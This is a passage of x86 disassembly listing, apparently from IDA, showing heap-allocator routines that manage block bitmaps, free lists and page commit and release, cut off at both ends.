dword_4DD378 mov edx, dword_4DD37C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DD374 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D670 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DD378 cmp eax, dword_4DD374 jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD37C mov dword_4DD370, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD36C, edi mov dword_4DD374, eax loc_41EA66: ; CODE XREF: sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p ; sub_41BEF3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DD378 mov edx, dword_4DD37C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EAAB or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EABB ; --------------------------------------------------------------------------- loc_41EAAB: ; CODE XREF: sub_41EA6B+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej mov eax, dword_4DD370 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EAE2 loc_41EAC9: ; CODE XREF: sub_41EA6B+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EAE2 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EAC9 loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj ; sub_41EA6B+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EB60 mov ebx, edx loc_41EAE9: ; CODE XREF: sub_41EA6B+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB05 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB03 add ebx, 14h jmp short loc_41EAE9 ; --------------------------------------------------------------------------- loc_41EB03: ; CODE XREF: sub_41EA6B+91j cmp ebx, eax loc_41EB05: ; CODE XREF: sub_41EA6B+83j jnz short loc_41EB60 loc_41EB07: ; CODE XREF: sub_41EA6B+ADj cmp ebx, [ebp+var_4] jnb short loc_41EB1D cmp dword ptr [ebx+8], 0 jnz short loc_41EB1A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EB07 ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j cmp ebx, [ebp+var_4] loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj jnz short loc_41EB45 mov ebx, edx loc_41EB21: ; CODE XREF: sub_41EA6B+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EB35 cmp dword ptr [ebx+8], 0 jnz short loc_41EB33 add ebx, 14h jmp short loc_41EB21 ; --------------------------------------------------------------------------- loc_41EB33: ; CODE XREF: sub_41EA6B+C1j cmp ebx, eax loc_41EB35: ; CODE XREF: sub_41EA6B+BBj jnz short loc_41EB45 call sub_41ED74 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EB59 loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj ; sub_41EA6B:loc_41EB35j push ebx call sub_41EE25 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EB60 loc_41EB59: ; CODE XREF: sub_41EA6B+D8j xor eax, eax jmp loc_41ED6F ; --------------------------------------------------------------------------- loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj ; sub_41EA6B:loc_41EB05j ... mov dword_4DD370, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EB87 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EBBE loc_41EB87: ; CODE XREF: sub_41EA6B+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EBBB loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EBA4 loc_41EBBB: ; CODE XREF: sub_41EA6B+137j mov edx, [ebp+var_4] loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EBE7 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj ; sub_41EA6B+183j test ecx, ecx jl short loc_41EBF0 shl ecx, 1 inc edi jmp short loc_41EBE7 ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41EC0D push 3Fh pop esi loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj cmp esi, edi jz loc_41ED22 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7E cmp edi, 20h jge short loc_41EC4D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EC7B mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EC7E ; --------------------------------------------------------------------------- loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j ; sub_41EA6B+203j mov ebx, [ebp+arg_0] loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j ; sub_41EA6B+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ED2E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ED1F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41ECF0 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ECDE mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41ECDE: ; CODE XREF: sub_41EA6B+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ED1F ; --------------------------------------------------------------------------- loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41ED09 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej ; sub_41EA6B+283j mov ecx, [ebp+var_8] loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j test ecx, ecx jz short loc_41ED31 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED2E: ; CODE XREF: sub_41EA6B+229j mov ecx, [ebp+var_8] loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j ; sub_41EA6B+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ED67 cmp ebx, dword_4DD374 jnz short loc_41ED67 mov ecx, [ebp+var_4] cmp ecx, dword_4DD36C jnz short loc_41ED67 and dword_4DD374, 0 loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j ; sub_41EA6B+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j pop edi pop esi pop ebx leave retn sub_41EA6B endp ; =============== S U B R O U T I N E ======================================= sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp mov eax, dword_4DD378 mov ecx, dword_4DD368 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EDB7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DD37C push edi push dword_4DD384 call near ptr 2860000h nop cmp eax, edi jz short loc_41EE07 add dword_4DD368, 10h mov dword_4DD37C, eax mov eax, dword_4DD378 loc_41EDB7: ; CODE XREF: sub_41ED74+11j mov ecx, dword_4DD37C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DD384 lea esi, [ecx+eax*4] nop call near ptr 27D0000h cmp eax, edi mov [esi+10h], eax jz short loc_41EE07 push 4 push 2000h push 100000h push edi nop call near ptr 2660C1Bh cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EE0B push dword ptr [esi+10h] push edi push dword_4DD384 nop call near ptr 27C0691h loc_41EE07: ; CODE XREF: sub_41ED74+30j ; sub_41ED74+67j xor eax, eax jmp short loc_41EE22 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ED74+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DD378 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EE22: ; CODE XREF: sub_41ED74+95j pop edi pop esi retn sub_41ED74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EE37: ; CODE XREF: sub_41EE25+19j test eax, eax jl short loc_41EE40 shl eax, 1 inc ebx jmp short loc_41EE37 ; --------------------------------------------------------------------------- loc_41EE40: ; CODE XREF: sub_41EE25+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EE55: ; CODE XREF: sub_41EE25+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EE55 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2660C1Bh test eax, eax jnz short loc_41EE88 or eax, 0FFFFFFFFh jmp loc_41EF1B ; --------------------------------------------------------------------------- loc_41EE88: ; CODE XREF: sub_41EE25+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EECE lea eax, [edi+10h] loc_41EE95: ; CODE XREF: sub_41EE25+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EE95 loc_41EECE: ; CODE XREF: sub_41EE25+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EF0B or [eax+4], edi loc_41EF0B: ; CODE XREF: sub_41EE25+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej pop edi pop esi pop ebx leave retn sub_41EE25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F0CE test bl, 1 jnz loc_41F0C7 add ebx, ecx cmp esi, ebx jg loc_41F0C7 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EF97 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EF97: ; CODE XREF: sub_41EF20+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EFE7 cmp ecx, 20h jnb short loc_41EFC3 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EFE7 ; --------------------------------------------------------------------------- loc_41EFC3: ; CODE XREF: sub_41EF20+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EFE7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj ; sub_41EF20+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F0B5 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41F021 push 3Fh pop edi loc_41F021: ; CODE XREF: sub_41EF20+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F0A3 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41F07A cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F06D mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41F06D: ; CODE XREF: sub_41EF20+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41F09F ; --------------------------------------------------------------------------- loc_41F07A: ; CODE XREF: sub_41EF20+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41F090 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41F090: ; CODE XREF: sub_41EF20+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41F09F: ; CODE XREF: sub_41EF20+158j shr edx, cl or [eax], edx loc_41F0A3: ; CODE XREF: sub_41EF20+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F0B8 ; --------------------------------------------------------------------------- loc_41F0B5: ; CODE XREF: sub_41EF20+E5j mov edx, [ebp+arg_4] loc_41F0B8: ; CODE XREF: sub_41EF20+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F20E ; --------------------------------------------------------------------------- loc_41F0C7: ; CODE XREF: sub_41EF20+52j ; sub_41EF20+5Cj xor eax, eax jmp loc_41F211 ; --------------------------------------------------------------------------- loc_41F0CE: ; CODE XREF: sub_41EF20+49j jge loc_41F20E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F0F9 push 3Fh pop esi loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F188 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F112 push 3Fh pop esi loc_41F112: ; CODE XREF: sub_41EF20+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F161 cmp esi, 20h jnb short loc_41F13D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F15E ; --------------------------------------------------------------------------- loc_41F13D: ; CODE XREF: sub_41EF20+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F15E mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F15E: ; CODE XREF: sub_41EF20+214j ; sub_41EF20+21Bj ... mov ebx, [ebp+arg_4] loc_41F161: ; CODE XREF: sub_41EF20+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F188 push 3Fh pop esi loc_41F188: ; CODE XREF: sub_41EF20+1DDj ; sub_41EF20+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F205 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F1DC cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1CF mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F201 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41EF20+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F1F2 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F201: ; CODE XREF: sub_41EF20+2BAj shr edx, cl or [eax], edx loc_41F205: ; CODE XREF: sub_41EF20+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F20E: ; CODE XREF: sub_41EF20+1A2j ; sub_41EF20:loc_41F0CEj push 1 pop eax loc_41F211: ; CODE XREF: sub_41EF20+1A9j pop edi pop esi pop ebx leave retn sub_41EF20 endp ; =============== S U B R O U T I N E ======================================= sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp cmp dword_43AE60, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F22A mov esi, offset off_43AE50 jmp short loc_41F247 ; --------------------------------------------------------------------------- loc_41F22A: ; CODE XREF: sub_41F216+Bj push 2020h push 0 push dword_4DD384 nop call near ptr 27D0000h mov esi, eax test esi, esi jz loc_41F353 loc_41F247: ; CODE XREF: sub_41F216+12j mov ebp, dword_427064 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41F33C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41F32E mov eax, offset off_43AE50 cmp esi, eax jnz short loc_41F2A6 cmp off_43AE50, 0 jnz short loc_41F296 mov off_43AE50, eax loc_41F296: ; CODE XREF: sub_41F216+79j cmp off_43AE54, 0 jnz short loc_41F2BB mov off_43AE54, eax jmp short loc_41F2BB ; --------------------------------------------------------------------------- loc_41F2A6: ; CODE XREF: sub_41F216+70j mov [esi], eax mov eax, off_43AE54 mov [esi+4], eax mov off_43AE54, esi mov eax, [esi+4] mov [eax], esi loc_41F2BB: ; CODE XREF: sub_41F216+87j ; sub_41F216+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F2DD: ; CODE XREF: sub_41F216+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F2DD push ebx push 0 push edi call sub_41BF70 add esp, 0Ch loc_41F306: ; CODE XREF: sub_41F216+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F32A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F306 ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F216+F7j mov eax, esi jmp short loc_41F355 ; --------------------------------------------------------------------------- loc_41F32E: ; CODE XREF: sub_41F216+63j push 8000h push 0 push edi nop call near ptr 2660D71h loc_41F33C: ; CODE XREF: sub_41F216+4Bj cmp esi, offset off_43AE50 jz short loc_41F353 push esi push 0 push dword_4DD384 nop call near ptr 27C0691h loc_41F353: ; CODE XREF: sub_41F216+2Bj ; sub_41F216+12Cj xor eax, eax loc_41F355: ; CODE XREF: sub_41F216+116j pop edi pop esi pop ebp pop ebx retn sub_41F216 endp ; =============== S U B R O U T I N E ======================================= sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 2660D71h cmp off_43CE70, esi jnz short loc_41F37F mov eax, [esi+4] mov off_43CE70, eax loc_41F37F: ; CODE XREF: sub_41F35A+1Bj cmp esi, offset off_43AE50 jz short loc_41F3A7 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DD384 call near ptr 27C0691h nop pop esi retn ; --------------------------------------------------------------------------- loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj or dword_43AE60, 0FFFFFFFFh pop esi retn sub_41F35A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43AE54 push edi loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F45B and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F3D6: ; CODE XREF: sub_41F3B0+72j cmp dword ptr [edi], 0F0h jnz short loc_41F417 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 2660D71h test eax, eax jz short loc_41F417 or dword ptr [edi], 0FFFFFFFFh dec dword_4DBE40 mov eax, [esi+0Ch] test eax, eax jz short loc_41F40C cmp eax, edi jbe short loc_41F40F loc_41F40C: ; CODE XREF: sub_41F3B0+56j mov [esi+0Ch], edi loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F424 loc_41F417: ; CODE XREF: sub_41F3B0+2Cj ; sub_41F3B0+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F3D6 loc_41F424: ; CODE XREF: sub_41F3B0+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F45B cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F45B push 1 lea eax, [ecx+20h] pop edx loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F44C inc edx add eax, 8 cmp edx, 400h jl short loc_41F43B loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej cmp edx, 400h jnz short loc_41F45B push ecx call sub_41F35A pop ecx loc_41F45B: ; CODE XREF: sub_41F3B0+11j ; sub_41F3B0+7Dj ... cmp esi, off_43AE54 jz short loc_41F46D cmp [ebp+arg_0], 0 jg loc_41F3BD loc_41F46D: ; CODE XREF: sub_41F3B0+B1j pop edi pop esi pop ebx leave retn sub_41F3B0 endp ; =============== S U B R O U T I N E ======================================= sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap ; sub_41BBE2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43AE50 push esi mov ecx, edx loc_41F47E: ; CODE XREF: sub_41F472+1Cj cmp eax, [ecx+10h] jbe short loc_41F488 cmp eax, [ecx+14h] jb short loc_41F490 loc_41F488: ; CODE XREF: sub_41F472+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F4C5 jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F490: ; CODE XREF: sub_41F472+14j test al, 0Fh jnz short loc_41F4C5 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F4C5 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F4C5: ; CODE XREF: sub_41F472+1Aj ; sub_41F472+20j ... xor eax, eax pop esi retn sub_41F472 endp ; =============== S U B R O U T I N E ======================================= sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp ; sub_41BBE2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F50D inc dword_4DBE40 cmp dword_4DBE40, 20h jnz short locret_41F50D push 10h call sub_41F3B0 pop ecx locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj ; sub_41F4C9+3Aj retn sub_41F4C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp ; sub_41BEF3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43CE70 push edi loc_41F51C: ; CODE XREF: sub_41F50E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz 